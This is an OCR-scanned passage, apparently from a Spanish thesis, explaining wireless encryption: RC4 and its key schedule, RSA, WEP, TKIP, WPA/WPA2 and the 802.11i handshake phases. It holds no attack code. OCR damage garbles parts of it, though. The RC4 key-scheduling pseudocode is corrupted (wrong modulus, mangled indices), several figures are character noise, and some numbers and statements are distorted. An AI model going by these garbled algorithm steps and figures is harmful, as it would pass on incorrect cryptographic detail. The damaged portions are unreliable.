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El uso de estos ciclos estd siendo muy amplio, en principio porque su
implementacion en hardware es relativamente facil y porque son bastante

potentes.

1.11.3 Algoritmo RC4

El algoritmo RC4 es el sistema de cifrado de flujo mas utilizado y es
implementado en algunos de los protocolos de seguridad mas importantes
como TLS/SSL que protege el trafico de red en Internet, y el protocolo de

seguridad mas usado en las redes inalambricas de area local.

Distintas implementaciones del algoritmo RC4 han provocado que se
considere como un sistema no seguro, incluyendo su implementacion en WEP.
Sin embargo, aunque no se recomienda utilizarlo mas, algunas de sus

implementaciones resultan suficientemente seguras para su utilizacion general.
El sistema RC4 genera un Keystream (flujo pseudoaleatorio de bits) que
utiliza la funcibn XOR para realizar el proceso de encriptacion, como todo
algoritmo de Vernam. El proceso de descifrado es exactamente el contrario.
El Keystream es generado a partir de un estado secreto del sistema de
cifrado, que consta de:

1. La permutacion de los 256 simbolos posibles de un byte de longitud ("S™)

2. Dos indices-apuntadores de 8 bits de longitud ("i"y "j")
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En el primer caso (“S”) existe en primer momento una clave de longitud
variable, generalmente entre 40 y 256 bits haciendo empleo de un algoritmo de
programacion de claves (KSA). Al completarse esto, un algoritmo de generacion

pseudoaleatoria (PRGA) es utilizado para generar el flujo cifrado de bits.

Figura 5. Algoritmo de encriptacion RC4

P,

o 1 2 S[il+S[]j] i

253 254 255

S[i]t>t—+<- Slil

\%
K S[i]+S[j]

1.11.4 Algoritmo RSA

Es un sistema criptografico con clave publica y consiste en un algoritmo
asimétrico que cifra bloques utilizando una clave publica, misma que es
distribuida (de preferencia en forma autenticada), y otra llave privada, que esta

en la posesion del propietario.

Antes de transmitir un mensaje, el emisor utiliza la clave publica de
cifrado entregada por el receptor, cifra el mensaje y lo transmite, una vez que
dicho mensaje se entrega al receptor, es descifrado con la clave privada del
receptor.
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Los mensajes que utilizan el algoritmo RSA son representaciones de
nameros y su forma de operacion estd basada en el producto de dos numeros
primos muy grandes (mayores a 10100) que son elegidos de forma aleatoria
para formar la clave de descifrado. Este algoritmo emplea expresiones

exponenciales en aritmética modular.

Es seguro debido a que con las computadoras actuales, no se conocen

formas rapidas para factorizar un nimero grande en sus factores primos.

1.11.5 Algoritmo de programacién de claves (KSA)

El algoritmo KSA o Key-Scheduling Algorithm por sus siglas en inglés, es
utilizado en la inicializacién de la permutacion del array “S”. “I” esta definido
como el numero de bytes de los que se compone la clave. Dicho nimero puede
estar entre los valores de 1y 256, pero generalmente esta en los valores 5y 16,
valores que corresponden a una clave con tamafo de 40 y 128 bits. Para
comenzar, el array "S" se inicia a la permutacién identidad. Entonces "S" se
procesa en 256 iteraciones iguales para el algoritmo principal PRGA, pero

haciendo simultaneamente una mezcla con bytes de la clave.
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Figura 6. Algoritmo KSA

for i from 0 to 255

5[4i] = 1

j = 0

for i from 0 to 255

J = (3 + 5[i] + key[i mod tamafio clawve]) mod 236

swap (53[41].5031)

1.11.6 Protocolo de Integridad de Llave Temporal TKIP

El protocolo TKIP (Temporal Key Integrity Protocol por sus siglas en
inglés), también es conocido hashing de Clave WEP. TKIP resuelve de forma
temporal el problema que presenta WEP al reutilizar la clave, pues se usa

periddicamente la misma clave para cifrar datos.

La operacion de TKIP se inicia con la comparticion de una clave temporal
de de 128 bits entre los clientes y los puntos de acceso, y TKIP realiza una
combinacion de la clave temporal con la direccion MAC del cliente. Entonces se
adiciona un vector de inicializacion relativamente largo, de 16 octetos, para

generar la clave que se utilizara para el cifrado de datos.

Con este conjunto de operaciones se intenta asegurar que las estaciones
utilicen diferentes streams claves para el cifrado de datos. Por tanto, el hashing
de clave WEP brinda proteccion a los Vectores de Inicializacion (IV) ya que no

los expone, pues se implementa hashing del IV por cada paquete.
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TKIP hace uso del algoritmo RC4 para cifrar los datos, por lo que es
equivalente al modo de encriptacion de WEP. Sin embargo, la gran diferencia
es gque TKIP sustituye las claves temporales a cada cierto nUmero de paquetes
(10.000). Con esto se consigue un procedimiento de distribucién dinamico y se

mejora grandemente la red.
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2. ANALISIS DE LA ENCRIPTACION WEP

2.1 WEP - Privacidad equivalente al cableado

El sistema WEP (Wired Equivalent Privacy por sus siglas en inglés), esta
incluido en el estandar IEEE 802.11 y se encarga del proceso de cifrado de
informacion que se transmite. El cifrado que brinda es de nivel 2. Su
funcionamiento implementa el algoritmo de cifrado RC4, y brinda seguridad de
64 6 128 bits, usando para el primero 40 bits de clave mas 24 bits del vector de

iniciacion o 1V, y 104 bits de clave mas 24 bits del IV en el segundo caso.

Para cifrar la informacién que se transmitira por la red, WEP implementa

dos algoritmos de cifrado: RC4 y chequeo de integridad CRC.

Figura 7. Estructura de un paquete WEP

Plaintext >
Message ‘ CRC

A

Keystream = RC4(v.k)

<— Transmitted Data >

Fuente: http://www.isaac.cs.berkeley.edu/isaac
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Debido a la naturaleza del algoritmo RC4, es correcto afirmar que
funciona como un algoritmo de cifrado de flujo. Esto quiere decir que su
funcionamiento se basa en la expansidon de una semilla para generar una
secuencia de numeros pseudoaleatorios de tamafio mayor que se concatena al
mensaje haciendo uso de la operacion XOR, resultando de esta forma, un
mensaje cifrado. Sin embargo, este tipo de algoritmos son probleméticos
porque no seria apropiado utilizar una misma semilla para cifrar dos mensajes
distintos, puesto que recuperar la clave seria una operacion trivial, partiendo de

los dos textos cifrados resultantes.

WEP implementa un vector de inicializaciéon (IV) bits para que esto no
suceda, el IV es periédicamente alterado y adjuntado a la contrasefia (por
medio de esta unién una semilla nueva es generada y dicha semilla sera
utilizada para la entrada del algoritmo RC4) para que no se presente el caso de

secuencias iguales, por tanto, nuevas semillas seran generadas al variar el V.

Figura 8. Cifrado WEP

Mensaje M ICV(M)
IV | Clave RC4 Keystream = RC4 (IV,k) ICV(M)
XOR
v KeylD Mensaje M ICV(M)
< CIFRADO >

C=[M [ ICV(M)] + [RCA(K || IV)]
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2.2 Aspectos de operaciéon de WEP

Dentro de la definicion del estandar IEEE 802.11 se define el mecanismo

para la encriptacion de contenido de los frames o marcos de datos de todas las

redes basadas en dicho estandar. Dicho mecanismo incluye cinco elementos

gue son directamente relevantes para el analisis y entendimiento de operacion

de WEP. Dichos elementos son:

a)

b)

d)

Una llave compartida y conocida por todos los miembros del BSS es
decir, el conjunto de estaciones del punto de acceso. Sin embargo, hay
en realidad cuatro llaves compartidas pero para efectos de entendimiento

a nivel de usuario Unicamente se mencionaréa una.

Un algoritmo de encriptacion, en WEP este es el cifrado de texto plano
RC4, utilizado con el fin de generar flujos llave, que combinando el texto
plano junto a la aplicacion de la funcién o exclusivo, o XOR, produce el
texto cifrado.

Un algoritmo de desencriptacion. En WEP, el algoritmo para
desencriptar la informacién es el mismo algoritmo de encriptacion,
es decir RC4, y, aplicando la funcion XOR entre el texto cifrado y

el flujo llave producen el texto plano inicial.

Un vector de inicializacion de 24 bits, o IV. WEP agrega el IV a la llave
compartida; WEP usa esta llave compartida y el IV para generar una lista
de claves RC4. WEP selecciona un nuevo IV para cada paquete. La
longitud del IV es fija en ambos casos de encriptacion WEP, 64 6 128
bits.

67



e) Encapsulacion, que se encarga de transportar el IV y el texto cifrado
entre el usuario remitente (encriptor) y el destinatario (desencriptor).

f) CRC, también es utilizado en la encapsulacion del marco de informacion
(frame) de texto plano. CRC es computado sobre la informacion antes
de la encripcién. WEP encripta el CRC con el resto de la informacion del
frame. El cifrado WEP utiliza un algoritmo CRC de 32 bits.

Figura 9. Partes encriptadas de un paquete WEP

30 hyies 0.2312 hytes 4 hytes
80211 Headers Dat CRC32
! L A
|
|
|
i 4 hits
Shared Key v
| |
| |
| |
~ Fona cifrada o
| I
802.11 Headers v Data CRC22

Fuente: http://www.isaac.cs.berkeley.edu/isaac
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2.3 Analisis del protocolo WEP

2.3.1 Proceso de cifrado y descifrado

Previo a la explicacibn en redes inalambricas de é&rea local con
encriptacion WEP, es importante definir el proceso de cifrado y descifrado de
WEP, debido a su constante utilizacion en todo el proceso de autenticacion y

operacion.

El proceso de cifrado se puede explicar en los siguientes pasos:

e Paso 1: Se genera un nuevo vector de inicializacion (IV) y se selecciona
para ser utilizado. Es importante mencionar que en el estandar no se

define una féormula concreta.

e Paso 2: Se procede a concatenar la clave WEP vy el vector de
inicializacion (IV) del paso 1. Esto generard una secuencia de 64 6 128

bits. Dicho valor es denominado RC4 Keystream.

e Paso 3: A la secuencia generada, o0 RC4 Keystream, se le aplica un

algoritmo RC4 que producira valor cifrado de la clave especifica.
e Paso 4: Un valor de integridad (ICV) es generado para el mensaje que

se va a transmitir y se aflade al final del mensaje. El ICV sera utilizado

para cerciorarse que el mensaje haya sido descifrado correctamente.
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e Paso 5: Se aplica la funcion XOR (OR Exclusivo) al mensaje y al RC4

Keystream, de esta forma se genera el mensaje cifrado.
e Paso 6: Al mensaje transmitido se le aflade el IV utilizado, para
asegurarse que el recipiente del mensaje sea capaz de descifrar su

contenido.

El proceso de descifrado es exactamente el inverso:

Paso 1: Se hace lectura del vector de inicializacién (IV) en el mensaje

recibido.

e Paso 2: Se concatena el IV y la clave WEP conocida.

e Paso 3: Como consecuencia, el RC4 Keystream es generado.

e Paso 4: Se aplica funcidbn XOR entre el RC4 Keystream y el mensaje

cifrado, obteniendo asi el mensaje y el ICV.

e Paso 5: Se verifica el mensaje haciendo uso del ICV.

2.3.2 Proceso de autenticacion

Cada cliente que desee conectarse o unirse a cualquier red inalambrica
de area local o WLAN, debe autenticado previo a su otorgarle el acceso. Dicha

autenticacion puede ser de dos tipos:
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a) Abierta, se autentica a todos sin ninguna discriminacién, es decir que no
existen requerimientos especiales ni medida de exclusion alguna para

asociarse a esa red.

b) Cerrada, se autentica a los usuarios mediante a reglas establecidas por
el punto de acceso, dichas reglas tratan de asegurarse que se autentique

Unicamente a un cliente autorizado.

Para que un usuario se autentique a una red con seguridad WEP, no
existen reglas complicadas, se parte del hecho de que si el cliente posee la
clave WEP, podra de devolver cifrada una trama enviada a €l. Por tanto, el
cliente solicita acceder y conectarse a la red y el punto de acceso genera una
secuencia de 128 octetos, secuencia que sera enviada al cliente de forma
cifrada. Si el cliente posee la clave WEP, descifrara dicha trama de 128 octetos

y la enviara de vuelta al punto de acceso otra trama cifrada con otro IV.

Debido a que la autenticacion debe ser mutua, es decir en doble via
entre el cliente y el punto de acceso, el proceso de autenticacion se efectla
también de forma inversa, mandando al punto de acceso la peticion de
conexidn y acceso del cliente, y se repite también el envio de la cadena cifrada

de 128 octetos del cliente al punto de acceso.
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3. ANALISIS DEL CIFRADO WPA Y WPA2

3.1 WPA - Wi-Fi Protected Access

Segun la definicion de Wikipedia:

“WPA (Acceso Protegido Wi-Fi) es un sistema para proteger las redes
inalambricas (Wi-Fi); creado para corregir las deficiencias del sistema previo
WEP (Wired Equivalent Privacy - Privacidad Equivalente a Cableado). Los
investigadores han encontrado varias debilidades en el algoritmo WEP (tales
como la reutilizacion del vector de inicializacion (1V), del cual se derivan ataques
estadisticos que permiten recuperar la clave WEP, entre otros). WPA
implementa la mayoria del estandar IEEE 802.11i, y fue creado como una
medida intermedia para ocupar el lugar de WEP mientras 802.11i era finalizado.
WPA fue creado por "The Wi-Fi Alliance" (La Alianza Wi-Fi)”. ¥

WPA es, entonces, una solucién a los problemas que se presentaron con
el sistema WEP y es el eslabon entre el estandar 802.11i y WEP. WPA fue
concebido para interactuar con un servidor de autenticacion (generalmente un
servidor RADIUS), que es el encargado de entregar claves diferentes a cada
usuario, haciendo uso del protocolo 802.1x, esto debido a que fue disefiado
para ser bastante seguro. Sin embargo, es posible implementarlo en un
escenario de seguridad disminuida, donde las condiciones no permiten o no
requieren utilzar un servidor de autenticacion, esto se logra utilizando PSK (Pre-

Shared Key) o clave pre-compartida.

3T WPA. http://es.wikipedia.org/wiki/\WPA
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Los mensajes son cifrados por medio del algoritmo RC4, esto debido a
que el sistema WPA brinda mayor fortaleza y poder al proceso de de cifrado de
WEP, y no lo elimina. Especificamente WPA trabaja como el sistema WEP con

una clave de 128 bits y un vector de inicializacion de 48 bits.

Aunque WPA opera como un sistema WEP, existen distintas mejoras que
lo hacen potencialmente seguro, entre ellas es importante mencionar que
implementa el Protocolo de Integridad de Clave Temporal (TKIP - Temporal Key
Integrity Protocol), que genera claves de manera aleatoria conforme el sistema
es utilizado. Al observar en conjunto esta situaciébn, con el vector de
inicializacion mas grande, se distingue claramente que existe mas proteccion a
los ataques de recuperacion de clave (estadisticos o de fuerza bruta) a los que

WEP ha estado expuesto durante muchos afnos.

Ademas de las mejoras en la autenticacién y en el cifrado, el sistema
WPA implementa mejoras en la integridad de la informacién que se cifra. La
verificacion de redundancia ciclica (CRC) implementada por WEP es altamente
insegura, debido a que el contenido de las tramas puede ser modificado y el
CRC actualizado sin conocer la clave WEP. Por ello, WPA implementa un
codigo de integridad del mensaje (MIC), que también es denominado como
"Michael". Otra mejora del sistema WPA sobre WEP, es que previene ataques

de repeticion implementando un contador de tramas.

Implementando estas mejoras, claves mas grandes, mayor nimero de
llaves usadas y el sistema de verificacion de mensajes, el sistema WPA
complica de manera muy grande el acceso no autorizado a las redes

inalambricas de area local WLAN.
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Los disefiadores del sistema WPA idearon el algoritmo mas poderoso
gue fuera compatible con dispositivos antiguos existentes en los equipos, como
consecuencia el algoritmo Michael a pesar de ser bastante fuerte, también es
susceptible a ataques. Para tratar de paliar esta situacion de riesgo, las redes
con seguridad WPA se desconectan por un intervalo de 60 segundos al detectar

dos intentos de atague en menos de un minuto.

3.2 WPA2 - Wi-Fi Protected Access 2

WPA2 (0 Acceso Protegido Wi-Fi 2 por sus siglas en inglés) es un
sistema que se implementa para proteccion de redes inalambricas que cumplen
con el estandar 802.11 Wi-Fi. La creacién de este sistema representa la
correccion de una lista de vulnerabilidades existentes en su predecesor, WPA.

WPA2 es una implementacion temprana del estandar 802.11i, pues a
pesar de estar basado en este nuevo estandar, no implementa todas sus
funcionalidades y procedimientos, por lo que es considerada como una
transicion de las redes bajo el estdndar WI-FI hacia la préxima generacién de
redes inaldmbricas, es decir el estdndar 802.11i. Es comUn que se mencione a
WPA2 como la version certificada de 802.11i, a pesar de no incluir todas sus
caracteristicas. Segun las normas de la alianza WI-FI, la autenticacion por clave
pre-compartida es denominada WPA-Personal y WPA2-Personal, mientras que
la autenticacién por 802.1x/EAP son denominadas WPA-Enterprise y WPA2-
Enterprise.
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Los puntos de acceso con capacidad para soportar WPA2 son una nueva
generacion de puntos de acceso fabricados para utilizar el algoritmo de
encriptacion AES (Advanced Encryption Standard). Dichos puntos de acceso, al
implementar AES para WPA2, permitirdan que se cumpla con la norma de
seguridad del gobierno de los Estados Unidos FIPS140-2. Sin embargo, aunque
los dispositivos de ultima generacion que implementan AES son esperados con
muchas ansias, es necesario resaltar que los productos WPA certificados son

todavia seguros conforme las especificaciones del estandar 802.11..

3.3 ESTANDAR IEEE 802.11i

3.3.1 Protocolo 802.11i

En el afio de 2001 IEEE cre6 un grupo de trabajo para proponer mejoras
en la autenticacion y el proceso de encriptacibn de datos. Dicho grupo
implementd mejoras que la Wi-Fi Alliance emiti6 recomendaciones en
contestacion de las distintas preocupaciones de distintas organizaciones por la
seguridad de redes inaldmbricas. Pero aun con esto, el equipo de trabajo

estaba convencido que los usuarios no querrian cambiar su equipos.
Finalmente en el afio de 2004 se publico la versién final del estandar

802.11i y fue denominada comercialmente como WPA2 por parte de la alianza
Wi-Fi.
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Con la llegada del estandar IEEE 802.11i se dieron cambios elementales,
como por ejemplo el hecho de separar la autenticacion de usuario con la
integridad y privacidad de los mensajes, construyendo una arquitectura con
estructura mas robusta y escalable, que puede ser aplicada de igual forma en

redes domésticas como en escenarios grandes de redes corporativas.

Robust Security Network (RSN) es la denominacion para la nueva
arquitectura de las redes WLAN que implementa una autenticacion por medio
de 802.1X, entrega de claves robustas y nuevas implementaciones de
integridad y privacidad. Una arquitectura inalambrica RSN, sin importar que sea
compleja, es segura y escalable. Redes RSN admitiran Unicamente equipos
operables con RSN, sin embargo el estandar IEEE 802.11i define también una
red de transicion de seguridad — Transitional Security Network (TSN),
permitiendo la operabilidad de sistemas bajo RSN y WEP, dando la posibilidad
de no requerir actualizacion de equipo. Cuando se utiliza autenticacién
mediante 4-Way handshake, la asociacion se denomina RSNA (Robust Security

Network Association).

3.3.2 Fases Operacionales de IEEE 802.11i

El estandar IEEE 802.11i envuelve 4 fases que se describen a detalle a

continuacion:

e Convenio sobre politica de seguridad, se da entre el AP y el equipo.

e Autenticacion 802.1X, se da entre el AP, el servidor de claves y el

equipo.
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e Derivacién y distribucion de las claves, servidor de claves, AP y equipo.

e Confidencialidad e integridad de los datos RSNA, entre el AP y el equipo.

Figura 10. Fases Operacionales de IEEE 802.11i
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Y
A

A
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A
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3.3.2.1 Fase 1: Acuerdo sobre la politica de Seguridad

Para iniciar la comunicacién, es necesario que exista un convenio entre los
participantes acerca de que politica de seguridad utilizaran. El punto de acceso
o PA transmite las politicas de seguridad que soporta a través de un mensaje
Beacon o Probe Response (luego que el cliente envia un Probe Request).
Luego existe una autenticacion abierta estandar (similar a la autenticacion de
las redes TSN, donde la autenticacion nunca falla). El cliente envia la
respuestas mediante un mensaje de Association Request, mismo que a su vez
se valida por un Association Response del punto de acceso. Los detalles de la
politica de seguridad se hacen llegar en el campo RSN IE (Information Element)

y contiene la siguiente informacion:
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e Meétodos de autenticacion soportados por el punto de acceso.

e Protocolos criptograficos que aseguran el tréfico unicast.

e Protocolos criptograficos que aseguran el trafico multicast.

e Disponibilidad de la pre-autenticacion, esto es, la autenticacion entre
puntos de acceso de la misma red para que no exista el retraso.

Figura 11. Fase 1 de 802.11i, Acuerdo sobre politica de seguridad

Peticion Sonda

Respuesta Sonda + RSN IE
CCMF Mcast, CCMP Ucast, 802.1x auth

802.11 Autenticacion de Sisterna Abierta

802.11 Autenticacion de Sistema Abierta — Exito

Peticion de Asociacion + RSN IE
STA request CCMP Mcast, CCMP Ucast, 802.1x auth

Respuesta de Asociacion — Exito
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3.3.2.2 Fase 2: Autenticacion 802.1X

Sucesivo a la Fase 1, existe una autenticacion 802.1X basada en EAP y
en la implementacion de la autenticacion decidida: EAP/TLS mediante
certificados de cliente y servidor (donde es necesaria una implementacion de
claves publicas), EAP/TTLS o PEAP para que el proceso de autenticacion sea
hibrido, etc. La autenticacion 802.1X comienza con una peticion de identidad
del cliente por parte del punto de acceso, y el cliente responde al punto de
acceso, incluyendo ademéas el método de autenticacién favorito. Entonces,
existe un intercambio de mensajes entre el cliente y el servidor de autenticacion
para que una clave maestra comun (MK) sea generada. El proceso finaliza
cuando el servidor de autenticacion envia un mensaje Radius Accept al punto
de acceso y dicho mensaje incluye la MK generada para el cliente, y para el

cliente un mensaje EAP Success que le notifica de su autenticacion exitosa.

Figura 12. Fase 2 de 802.11i, Autenticacion 802.1X

_ B02.1X/EAP — Peticion de Identidad

802.1X/EAP — Respuesta de Identidad

Acceso RADIUS
Peticion de ldentidad

-
-

Mensajes EAP especificos del método elegido

il
-

e
v

Aceptacion RADIUS
(Distribucion MK — Ver Fase 3)

-

Exito 802.1X/EAP

A
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3.3.2.3 Fase 3: Jerarquia y Distribucién de claves

Las conexiones son aseguradas mayoritariamente por claves secretas.
RSN garantiza la seguridad integral al hacer uso de un arreglo de claves que
cuentan con un tiempo de vida finito y que estan dispuestas por jerarquia. Una
vez que se da una autenticacion de manera exitosa, se crea un ambiente
seguro y se generan claves temporales que se manejan en la sesion y que son

actualizadas cada cierto intervalo de tiempo hasta que termina la conexion.

La tercera fase busca la generacién e intercambio de las claves. La
derivacion de la clave produce 2 handshakes. El primero es un 4-Way
Handshake, o apretdon de manos en 4 vias, este es necesario para derivar la
PTK (Pairwise Transient Key) y también la GTK (Group Transient Key). El
segundo es un Group Key Handshake o apretén de manos de grupo, que sirve

para renovar la GTK.

Figura 13. Fase 3 de 802.11i, Derivacion y distribucion de claves

_, Paso 1: Transmision MK de AS a AP
-

Paso 2 : 4-Way Handshake
derivacion y distribucién de PTK y GTK

A
Y

Paso 3 : Group Key Handshake
derivacion y distribucion de GTK
(para renovacion GTK)

A
Y
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Al derivar la clave PMK (Pairwise Master Key) pueden darse los

siguientes escenarios, segun sea el método de autenticacion:

Cuando una PSK es utilizada, entonces la PMK es igual a la PSK. La
PSK es generada desde una passphrase con longitud entre 8 y 63
caracteres, o bien una cadena de 256-bit, proporcionando una solucion
para ambientes domeésticos o0 pequefias organizaciones que no posean

un servidor de autenticacion.

Si se usa un servidor de autenticacion, la PMK se deriva de la MK

producto de la autenticacién 802.1X.

Es importante mencionar que la PMK no es usada en el proceso de

encriptacion ni para comprobar la identidad. En cambio, es utilizada en la

generacion de una clave temporal para la encriptacion. En el caso del tréfico

unicast actia como PTK (Pairwise Transient Key). Su extensién es determinada

por el protocolo de encriptacion: 512 bits en el caso de TKIP y 384 bits en el
caso de CCMP.

La PTK se compone de distintas claves temporales dedicadas:

KCK (Key Confirmation Key), con una extension de 128 bits que funciona
como clave para la autenticacion de mensajes (MIC) mientras se da el 4-

Way Handshake y el Group Key Handshake,

KEK (Key Encryption Key, con una extension de 128 bits que actia como
clave para brindar seguridad en la confidencialidad de la informacion
transmitida mientras se desarrolla el 4-Way Handshake y el Group Key
Handshake,
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e TK (Temporary Key), con una extension de 128 bits y que se utiliza como
clave para encriptar la informacion transmitida(utilizada por el algoritmo
TKIP 0 CCMP,

e TMK (Temporary MIC Key), con una extension de 64 bits por cada lado
de la comunicacion como clave dedicada, y se utiliza como clave para el

proceso de autenticacion de datos (utilizada so6lo por Michael con TKIP).

Figura 14. Fase 3 de 802.11i, Jerarquia de clave por parejas

O
[ Psx | [ ]

PRF usando HMAC=SHA1

X = 512 (TKIP)
X = 384 (CCMP)

Bits 0-127 Bits 128-255 Bits 256-383
KCK KEK TEK (=TK)

Bits 384-447 Bits 448-511
TMK1 TMK2

Con un 4-Way Handshake que se inicie desde el punto de acceso, se

permite:
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e Realizar una confirmacion de que el cliente tiene conocimiento de la
PMK,

e Derivar PTKs nuevas,

¢ Implementar el uso de claves para encriptacion e integridad de datos,
e Implementar encriptacion al transportar la GTK,

e Confirmar la eleccion de la suite para cifrar.

Durante el 4-Way Handshake se permutan un total de cuatro mensajes

EAPOL-Key entre el punto de acceso y la estacion cliente.

Figura 15. Fase 3 de 802.11i, 4-Way Handshake

Fx‘,/&})

PMEK PMK
= Al =
| SMNonce aleatorio | _ EAPolL-Key | Nonce Aleatorio |
' AMonce + AP RSN IE
La estacion deriva
la PTK
EAPol-Key
SMNonce + MIC + STA RSN IE
El AP deriva la PTK,
inicializa la GMK
y calcula la GTK
. EAPolL-Key
Sincronizacion MIC + GTK encriptada + AFP RSN IE | GTK encriptada
entre entidades usando la KEK
antes de la encriptacion EAPol-Key ACK
Instalacion P 802_1X puerto controlado abierto Instalacion
PTK v GTK PTK v GTHK
BFTHE = PRF=X(PMEK, « Pajirwise key expansion »,
Min (AP Mac, STA Mac) | Ma=x (AP Mac, STA Mac) |
Min (ANonce, SHNonce) | Max (ANonce, SNonoce))
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Para generar la PTK se utilizan los datos de la PMK, una cadena de
longitud determinada, la direccion MAC del PA, la direccién MAC de la estacién
cliente y dos numeros aleatorios, ANonce que se genera por la entidad
autenticadota y SNonce que es generado por quien hace la peticion. El punto
de acceso comienza el proceso con el primer mensaje, eligiendo el nimero
aleatorio ANonce y se lo hace llegar al suplicante sin encriptar y sin proteccion.
El suplicante, entonces, inicia la generacion del propio numero aleatorio
SNonce y esto le habilita para realizar el calculo de la PTK, asi como de las
claves temporales derivadas, por tanto el nimero SNonce es enviado y la clave
MIC se calcula a partir del segundo mensaje utilizando la clave KCK. Cuando el
segundo mensaje llega a la entidad autenticadota, es posible leer el SNonce ya
que el mensaje no cuenta con proteccidn ni encriptacién, y se calcula la PTK y
las claves temporales derivadas. Entonces, es posible comprobar el valor de
MIC en el segundo mensaje y, por tanto, concluir que la PMK es del
conocimiento del suplicante y que ha realizado apropiadamente el célculo de la

PTK, como también las claves temporales derivadas.

Un tercer mensaje se envia desde el autenticador al suplicante y dicho
mensaje incluye el GTK, como consecuencia de un GMK aleatorio y GNonce,
asi mismo el MIC que se calculo para el tercer mensaje usando la clave KCK.
Cuando este mensaje llega al equipo suplicante, el MIC se realiza una
comprobacién de que el autenticador tiene conocimiento del PMK y que se

calculo de manera apropiada el PTK y derivado claves temporales.
Como consecuencia, un ultimo mensaje realiza una validacion que el

handshake concluya y sefala que el suplicante realizara la instalacion de la

clave y comenzara la encriptacion.
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Cuando el autenticador recibe este ultimo mensaje, instala sus claves
luego de verificar el valor MIC. De esta forma, el equipo solicitante y el punto de
acceso han conseguido, calculado e instalado claves propias de integridad y
encriptacion y han establecido un canal seguro de comunicacién para el trafico

unicast y multicast.

La proteccion del trafico multicast se realiza con una clave distinta: GTK
(Group Transient Key), que se genera a partir de una clave maestra
denominada GMK (Group Master Key), una cadena de longitud determinada, la
direccion MAC del punto de acceso y el célculo de un numero aleatorio
GNonce. La extensién de la clave GTK es dependiente del protocolo de
encriptacion que se esté utilizando, se utilizan 256 bits en el caso de TKIP y128

bits en el caso de CCMP. GTK se compone de claves temporales dedicadas:
e GEK (Group Encryption Key), una clave utlizada para encriptar
informacion, CCMP la utiliza para la autenticacion, y TKIP la utiliza para

encriptacion.

e GIK (Group Integrity Key), una clave utilizada para autenticacion de datos

y que es utilizada unicamente por Michael con TKIP.
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Figura 16. Fase 3 de 802.11i, Jerarquia de Group Key

PRF usando HMAC-SHA1

Bits 0=127
GEK

Dos mensajes EAPOL-Key son permutados entre el cliente y el punto al

GIK TKIP

realizarse el Group Key Handshake. Claves temporales que se generaron en el
4-Way Handshake, especificamente KCK y KEK, son utilizadas en el Group Key
Handshake.

87



Figura 17. Fase 3 de802.11i, Group Key Hand-Shake

PTK
GMK + Gnonce
+ Célculo GTK
GTK encriptada | | EAPolL-Key (MIC, GTK, Grupo)
usando la KEK [
PTKy
GTK
Decriptacion de GTK
@’. EAPolL-Key(Grupo, MIC) > Autenticacion de Mensaj
PTK y
GTK
GTK = PRF-256(GME, Group Key Expansion,

AP Mac || GNonce))

El Group Key Handshake solamente es requerido cuando una estacion
desea desasociarse o cuando el GTK debe regenerarse por solicitud del cliente.
El autenticador comienza el primer mensaje seleccionando el nimero aleatorio
GNonce y regenerando la GTK. Luego la GTK es encriptada utilizando KEK y
enviada con el numero de secuencia de la GTK y el MIC generado de este
mensaje usando KCK al suplicante. Cuando el suplicante recibo dicho mensaje,

el MIC es verificado y la GTK se puede desencriptar.

Un segundo mensaje garantiza la finalizacién del Group Key Handshake
al enviar el nimero de secuencia de GTK y el MIC generado en este segundo
mensaje. Luego que el autenticador lo recibe, instala la nueva GTK, luego de

cerciorarse del valor MIC.
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3.3.2.4 Fase 4: Confidencialidad e integridad de Datos RSNA

La totalidad de las claves generadas en las fases anteriores, son
utilizadas en los protocolos que implementan la confidencialidad e integridad de
datos RSNA, siendo estos TKIP, CCMP y WRAP.

Previo a la definicion de la operacion de estos protocolos, debe
entenderse la diferencia entre MSDU (MAC Service Data Unit) y MPDU (MAC
Protocol Data Unit). Aunque los dos términos hacen referencia a un Unico
paquete de datos, MSDU es la representacion de los datos previo a la
fragmentacién, en cambio las MPDUs son distintas unidades de datos después
de la fragmentacion. Establecer esta diferencia es de mucha importancia par
comprender TKIP y el protocolo de encriptacion CCMP, puesto que en TKIP el
MIC es calculado a través de la MSDU, y en CCMP a través del MPDU.

Del mismo modo que WEP, TKIP esta fundamentado en el algoritmo de
encriptacion RC4, esto fue disefiado asi por la Unica razén de permitir a los
sistemas WEP la modernizacion de instalar un protocolo menos inseguro. TKIP
es necesario en la certificacion WPA y esta contenido dentro de RSN 802.11i
como optativo. TKIP implementa procedimientos correctivos para las distintas
vulnerabilidades del cifrado WEP, de la siguiente forma:

e Integridad de mensaje, una nueva definicion de MIC (Message Integrity
Code) fundamentado en el algoritmo Michael se puede implementar en
software para equipos con capacidades limitadas, como por ejemplo:

microprocesadores lentos.
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e Vector de Inicializacion (IV), definicion de nuevos métodos para
seleccionar los valores 1V, utilizar nuevamente el IV como un contador de

repeticion y aumentando el valor del IV para que no se reutilicen.

e Per Packet Key Mixing, utilizado para juntar claves de encriptaciéon que

parecieran sin conexion alguna.

e Gestion de claves, una nueva implementacion de procedimientos para

distribuir y modificar claves.

TKIP Key-Mixing Scheme se compone de dos partes. La primera fase es
la encargada de los datos estéticos, clave TEK de sesion secreta, TA de la
direccion MAC de quien transmite (que se incluye para evitar colisiones de
valores 1V) y los 32 bits mas altos del IV. La fase 2 se compone de los valores
de consecuencia de la fase 1 y los 16 bits mas bajos del 1V, alterando todos los
bits del campo Per Packet Key para IV generado. Todos los valores IV inician
en 0 y se aumentan de uno en uno en cada paguete gque se envia, y como
consecuencia todos los mensajes donde su TSC sea menor que el del dltimo
mensaje, seran descartados. Los valores que resultan de la fase 2 y una
seccion del IV extendido (incluye un bit dummy) representan el valor de entrada
para RC4, y se origina un flujo de clave al que se le aplica la funcion XOR con
el MPDU de texto, el MIC generado del MPDU vy el antiguo ICV de WEP.
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Figura 18. Fase 4 de 802.11i, Esquema y encriptaciéon de TKIP Key Mixing

Ext IV (48 bits) TEK TA (48 bits) MIC = Michael(TMK + SA + DA
{128 bits) + Prioridad + Sélo Texto)
16 bits IV | 32 bits IV MIC
(inferior) | (superior)
L L y ICV =CRC
| Phase 1 Mezclado de Clave | (S6lo Texto | MIC)

ICV

TTAC (TKIP-mezclado Direccion
v v Y Clave Transmision) — 80 bits

Phase 2 Mezclado de Clave MPDU
| | e MIC [s3Y)
< =
A 4
d = dummybyte | v | d | v | Per-Packet Key (104 bits) | vL
(evitar claves = =
dehilesy = = | RE ST
) 24 bits RO
RC4
Keystream
v < >
MAC IV / KeylD Extended IV . MIC ICV FCS
Header 4 octetos 4 octetos Data (PDU) >= 1 octeto 8 octetos | 4 octetos | 4 octetos

